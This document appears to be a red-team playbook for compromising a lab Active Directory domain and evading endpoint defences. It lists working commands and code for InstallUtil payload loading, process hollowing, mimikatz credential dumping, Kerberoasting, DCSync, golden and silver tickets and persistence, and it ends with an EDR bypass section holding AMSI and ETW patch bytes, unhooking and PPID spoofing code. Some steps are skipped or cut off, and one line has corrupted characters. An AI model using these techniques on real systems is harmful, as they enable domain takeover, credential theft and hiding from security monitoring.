# 5. Alternative: Living-off-the-land execution
# Using legitimate Windows binaries to load payload
# Technique: InstallUtil.exe bypass
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll

# 6. Memory injection via Process Hollowing
# Hollowing explorer.exe to host our payload
python3 process_hollowing.py --target explorer.exe --shellcode payload.enc

# ACTIVE DIRECTORY COMPROMISE - FULL DOMAIN TAKEOVER

mimikatz # token::elevate
mimikatz # vault::cred

# 2. BloodHound enumeration
bloodhound-python -d aptlab.local -u svc_backup -p 'P@ssw0rd123!' -ns 192.168.56.104 -c All
# Collect: Domain trusts, ACLs, Session data, Local admin rights

# 3. Kerberoasting attack
python3 GetUserSPNs.py -request -dc-ip 192.168.56.104 aptlab.local/svc_backup
# Crack with hashcat: hashcat -m 13100 hashes.txt rockyou.txt

# 4. AS-REP Roasting
python3 GetNPUsers.py -dc-ip 192.168.56.104 aptlab.local/ -usersfile users.txt -format hashcat

# 6. DCSync attack for krbtgt hash
mimikatz # lsadump::dcsync /domain:aptlab.local /user:krbtgt
# Output: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:XXXXXXXXXXXXXXXXXXXXXXXXXXX:::

# 7. Golden Ticket creation
mimikatz # kerberos::golden /user:Administrator /domain:aptlab.local /sid:S-1-5-21-... /krbtgt:XXXXXXXXXXXXXXXXXXXXXXXXXXX /ptt
mimikatz # misc::cmd

# 8. Silver Tickets for specific services
mimikatz # kerberos::golden /user:Administrator /domain:aptlab.local /sid:S-1-5-21-... /target:DC01.aptlab.local /service:HOST /rc4:XXXXXXXXXXXXXXXXXXXXXXXXXXX /ptt

# 9. ACL attacks - Give DCSync rights to any user
python3 bloodhound.py -u Administrator -p 'P@ssw0rd!' -d aptlab.local -ns 192.168.56.104 --acl-add 'GenericAll'

# 10. Domain persistence - AdminSDHolder modification
Add-ADGroupMember -Identity 'Domain Admins' -Members 'svc_backup'
# Also modify AdminCount to prevent ACL reset

# 11. DCShadow attack (if Enterprise Admin)

# EDR/SIEM BYPASS TECHNIQUES 2025

# 1. Direct syscalls (bypass user-mode hooks)
# Using SysWhispers3 for direct NTAPI calls
python3 syswhispers.py --functions NtAllocateVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx --out syscalls

# Implementation in C:
#include "syscalls.h"
NTSTATUS status = SysNtAllocateVirtualMemory(
    GetCurrentProcess(),
    &baseAddress,
    0,
    ®ionSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);

# 2. ETW (Event Tracing for Windows) patching
# Patch EtwEventWrite in ntdll.dll
unsigned char patch[] = { 0xC3 }; // RET instruction
DWORD oldProtect;
VirtualProtect(EtwEventWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(EtwEventWrite, patch, sizeof(patch));
VirtualProtect(EtwEventWrite, sizeof(patch), oldProtect, &oldProtect);

# 3. AMSI bypass via memory patching
# Find AmsiScanBuffer and patch it
byte amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
LPVOID amsiAddr = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer");
VirtualProtect(amsiAddr, sizeof(amsiPatch), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(amsiAddr, amsiPatch, sizeof(amsiPatch));

# 4. Process hollowing with PPID spoofing
python3 process_hollowing.py \
    --target svchost.exe \
    --payload beacon.bin \
    --ppid $(Get-Process explorer).Id \
    --spoof

# 5. Userland hook removal
# Unhook common DLLs (ntdll.dll, kernel32.dll, etc.)
python3 unhooker.py --dlls ntdll.dll,kernel32.dll,kernelbase.dll

# 6. Call stack spoofing
# Fake return addresses to evade behavioral analysis
void spoof_call_stack() {
    void* fake_stack[] = {
        (void*)0x00007FFA1A2B0000, // Legitimate return address 1
        (void*)0x00007FFA1B3C0000, // Legitimate return address 2
        (void*)0x00007FFA1C4D0000  // Legitimate return address 3
    };
    // Manipulate RSP to point to fake stack
}

# 7. Sleep obfuscation (evade memory scanning)
void sleep_obfuscate(DWORD ms) {
    DWORD start = GetTickCount();
    while (GetTickCount() - start < ms) {
        // Encrypt payload in memory
        xor_encrypt(payload, payload_size, key);
        Sleep(50);
        // Decrypt when needed
        xor_encrypt(payload, payload_size, key);
    }
}

# 8. DLL sideloading with legitimate signed binaries
# Use vulnerable signed applications to load malicious DLLs
copy malicious.dll "C:\Program Files\Microsoft Office\Office16\version.dll"

# 9. Parent process ID (PPID) spoofing
STARTUPINFOEX siex = { sizeof(siex) };
PROCESS_INFORMATION pi = { 0 };
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &size);
